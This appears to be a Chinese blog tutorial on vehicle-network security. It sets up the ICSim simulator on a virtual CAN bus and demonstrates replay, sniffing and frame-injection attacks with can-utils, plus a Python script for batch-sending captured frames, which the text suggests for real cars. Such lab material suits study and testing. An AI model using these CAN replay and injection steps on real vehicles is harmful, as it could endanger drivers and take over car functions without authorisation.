车联网攻防之本地搭建 ICSim 实现控车

车联网攻防之本地搭建 ICSim 实现控车

一、前言

车联网(Internet of Vehicles,IoV)是指将车辆与互联网和其他车辆进行连接和交互的技术和概念。它是物联网(Internet of Things,IoT)在汽车领域的应用扩展。

车联网的网络安全风险涉及多种常见的攻击方式。以下是一些常见的车联网网络安全攻击方式:

  1. 远程入侵:黑客可以通过远程入侵攻击车辆的电子控制单元(ECU),如发动机控制单元(ECU)或车载娱乐系统。他们可能利用软件漏洞或弱密码来获取对车辆系统的未经授权访问。
  2. 车载网络攻击:车辆内部的网络架构可能存在漏洞,黑客可以通过攻击车辆的CAN总线或其他通信协议来干扰车辆的正常运行,如篡改传感器数据、修改控制命令等。
  3. 远程控制:黑客可以通过滥用车辆远程连接功能,例如车辆的远程启动或远程锁定等,来控制车辆。这可能导致危险的情况,如非法启动车辆或锁定车辆的制动系统。
  4. 车载应用程序攻击:车辆中的应用程序和软件可能存在漏洞,黑客可以利用这些漏洞来获取对车辆系统的访问权限,例如通过远程攻击车载娱乐系统获取对车辆控制的访问权限。
  5. 车辆追踪与定位攻击:黑客可以通过攻击车辆的定位系统或车辆跟踪系统来获取车辆的位置信息,从而侵犯车主的隐私或进行非法活动。
  6. 车辆数据窃取:黑客可以通过攻击车辆的数据存储系统或无线通信,获取车辆的敏感数据,如驾驶习惯、位置历史等,进而进行个人身份盗窃或其他恶意行为。
  7. 物理攻击:黑客可以通过物理方式对车辆进行攻击,例如直接访问车辆的电子控制单元(ECU)来篡改或破坏车辆系统。

汽车攻防这方面的入局成本是非常之高,毕竟把自己车黑了后厂商八成可以不保修了,出问题了也无处伸冤。

好在 ICSim 这个开源项目,让大家有了入手点,这篇文章主要就是讲这个开源项目,至于汽车相关的软硬件等相关知识点,大家就自己学习了。

二、ICSim 安装及设置

1、从github拉去到本地

1
~# git clone https://github.com/zombieCraig/ICSim

2、安装环境依赖

1
~# sudo apt-get install libsdl2-dev libsdl2-image-dev can-utils 

3、安装ICSim

1
2
~# cd ICSim
~/ICSim# make

4、准备CAN环境

ICSim 目录,有一个名为 setup_vcan.sh 的 shell 脚本

1
2
3
~/ICSimls
art       controls.c  data   icsim.c  lib.c  lib.o    Makefile   setup_vcan.sh
controls  controls.o  icsim  icsim.o  lib.h  LICENSE  README.md

使用cat命令查看其内容

1
2
3
4
5
~/ICSim# cat setup_vcan.sh
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

modprobe 指令加载 can 和 vcan 模块,最后两行将创建 vcan0 接口以便模拟汽车网络。

运行 setup_vcan.sh 命令来设置一个虚拟的 CAN 接口:

1
~/ICSim# ./setup_vcan.sh

使用命令 ifconfig vcan0 验证 vcan0 接口,如果 vcan0 配置成功将显示:

1
2
3
4
5
6
7
~/ICSim# ifconfig vcan0
vcan0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 
          UP RUNNING NOARP  MTU:72  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

三、运行ICSim

要想ICSim运行起来,必须需要一个仪表盘和一个控制器,其作用是模拟汽车加速、刹车、转向等,要想达到这些功能至少需要3个终端。

终端1:启动虚拟的 CAN 接口

1
~/ICSim# ./setup_vcan.sh

该终端启动后可关闭。

终端2:运行仪表盘

1
2
~/ICSim# ./icsim vcan0
Using CAN interface vcan0

运行该指令后将会有个 IC Simulator 窗口跑起来。

终端3:运行控制器

1
2
~/ICSim# ./controls vcan0
 Warning: No joysticks connected

运行该指令后将会有个 CANBus Control Panel 窗口跑起来。

四、控车指令

行为 快捷键
加速
左右转向 ←/→
关闭前左右车门 Right-Shift + A/B
关闭后左右车门 Right-Shift + X/Y
打开前左右车门 Left-Shift + A/B
打开后左右车门 Leftt-Shift + X/Y
关闭全部车门 Right-Shift + Left-Shift
打开全部车门 Left-Shift + Right-Shift

五、ICSim 操控

1、candump 转储 CAN 报文

candump 是 can-utils 工具包中的一个命令,用于监听和显示CAN总线上的报文。

以下是 candump 命令的基本语法:

1
candump <interface>
  • <interface>: 指定要监听的CAN接口,例如 vcan0 或 can0。

新开终端,输入 candump vacn0,截取部分指令:

1
2
3
4
5
6
7
8
9
10
11
12
~# candump vcan0
  vcan0  244   [5]  00 00 00 01 3D
  vcan0  166   [4]  D0 32 00 18
  vcan0  158   [8]  00 00 00 00 00 00 00 19
  vcan0  161   [8]  00 00 05 50 01 08 00 1C
  vcan0  191   [7]  01 00 90 A1 41 00 03
  vcan0  133   [5]  00 00 00 00 A7
  vcan0  136   [8]  00 02 00 00 00 00 00 2A
  vcan0  13A   [8]  00 00 00 00 00 00 00 28
  vcan0  13F   [8]  00 00 00 05 00 00 00 2E
  vcan0  164   [8]  00 00 C0 1A A8 00 00 04
  vcan0  17C   [8]  00 00 00 00 10 00 00 21
  • vcan0: 这是 CAN 接口的名称,表示数据是从 vcan0 接口接收的。CAN 接口是用于连接 CAN 总线的虚拟接口。

  • 244, 166, 158, …: 这些是 CAN 帧的标识符(ID),表示不同的 CAN 消息。

  • [5], [4], [8], …: 这些是CAN帧的数据长度,表示CAN消息数据的字节数,这个不能超过 8 个字节。

  • 00 00 00 01 3D, D0 32 00 18, …: 这些是CAN帧的数据内容,以十六进制表示。每个字节对应两个十六进制数字。

通过 candump 命令,可以监视 CAN 总线上的 CAN 消息,并查看其标识符、数据长度和数据内容。这对于调试和监控 CAN 总线通信非常有用。

candump 还可以转储 CAN 报文内容,如果想进行重放攻击,这是必不可少的操作,CAN 报文的转储可以使用 -l 参数启动:

1
2
3
4
# candump vcan0 -l
Disabled standard output while logging.
 
Enabling Logfile 'candump-2023-09-16_013511.log'

会在当前目录下生成 candump-2023-09-16_013511.log 的日志文件。

2、canplayer 重放攻击

canplayer 是 can-utils 工具包中的一个命令,用于回放预先记录的 CAN 数据文件,以便模拟 CAN 总线上的报文传输。

以下是 canplayer 命令的基本语法:

1
canplayer <interface> <logfile>
  • <interface>: 指定要回放数据的CAN接口,例如 vcan0 或 can0。
  • <logfile>: 指定包含 CAN 数据记录的日志文件。

亦或者可以直接使用 -I 参数来指定接受输入文件:

1
canplayer -I <logfile>

例如,在上述 candump 下来的 log 日志中我进行了左右转向灯开启的操作,要使用 canplayer 命令将预先记录的 CAN 数据文件 log.txt 回放到 vcan0 接口上,可以使用以下命令:

1
~# canplayer -I candump-2023-09-16_013511.log

经实验成功重放了报文,车辆进行了左右灯打开和关闭。

3、cansniffer 嗅探

通过 canplayer 可以重放 CAN 报文,但要想确定是哪个 canid 进行转向控制,或其余操作时,这时候就比较困难,二分法一次一次尝试是比较快的方法。

还有个比较快速的方法,寻找特点的 canid 及can 报文数据,即使用 cansniffer。

cansniffer 命令允许您监听 CAN 总线上的 CAN 消息,并将其显示在终端上。它可以帮助您实时查看 CAN 总线上的通信活动,包括 CAN 帧的标识符、数据长度和数据内容。

以下是 cansniffer 命令的基本语法:

1
cansniffer <interface>
  • <interface>: 指定要使用的CAN接口,例如 vcan0 或 can0。

cansniffer 的 -c 参数可以通过颜色高亮突出变化的字节,当需要判断执行某些操作是否会导致 CAN 数据变化时使用。

1
cansniffer -c vcan0

执行上述命令后,cansniffer 将开始监听 vcan0 接口上的 CAN 消息,并将产生变化的数据以红色高亮的方式显示在终端上。

cansniffer 可以通过 canid 进行过滤,当需要只显示某一个特定 canid 的帧时,只需在嗅探的过程中,按减号(-)然后输入 000000,再按 Enter 键清除所有的帧,按加号(+)然后输入 canid ,再按 Enter 键便只显示特定 canid 的帧。

4、cansend 主动调用

cansend 是 can-utils 工具包中的一个命令,用于向 CAN 总线发送 CAN 消息。它允许您指定 canid 的标识符、数据长度和数据内容,以将消息发送到CAN总线。

以下是 cansend 命令的基本语法:

1
cansend <interface> <can_id>#<data>
  • <interface>: 指定要使用的CAN接口,例如 vcan0 或 can0。
  • <can_id>: CAN帧的标识符(ID),用于唯一标识一个 CAN 消息。
  • <data>: CAN帧的数据内容,以十六进制表示。

例如,要发送一个标识符为123,数据内容为 01 02 03 04 的 CAN 消息到 vcan0 接口,可以使用以下命令:

1
cansend vcan0 123#01020304

在上述嗅探过程中,已经确认控制车辆左右转向灯的 canid 为 188 对应的 CAN 报文中 01 代表左转向灯亮,02 代表右转向灯亮,进行实操:

1
2
cansend vcan0 188#0100000000000000
cansend vcan0 188#0200000000000000

可以在对应的 IC Simulator 窗口中看到指示灯亮起。

有时候,在实车环境中,无法精确定位 canid ,可以采用脚本读取 candump 下来的数据源,批量发送 can 报文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import subprocess
import time
 
def execute_commands(command):
    subprocess.run(command, shell=True)
             
 
def get_can_cmd():
    can_cmd_list = []  # 创建一个空列表用于存储每一行数据
    with open('canlog.txt''r') as file:
        for line in file:
            ecuid = line.strip().split(' ')[-1].split('#')[0]
            can_stream = line.strip().split(' ')[-1].split('#')[1].ljust(16'0')
            can_cmd = 'cansend vcan0 ' + ecuid + '#' + can_stream
            can_cmd_list.append(can_cmd)  # 将每一行添加到列表中
    return can_cmd_list
     
 
can_cmd_list = get_can_cmd()
for cmd in can_cmd_list:
    print('正在发送指令为:', cmd)
    execute_commands(cmd)
    time.sleep(0.1)
© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容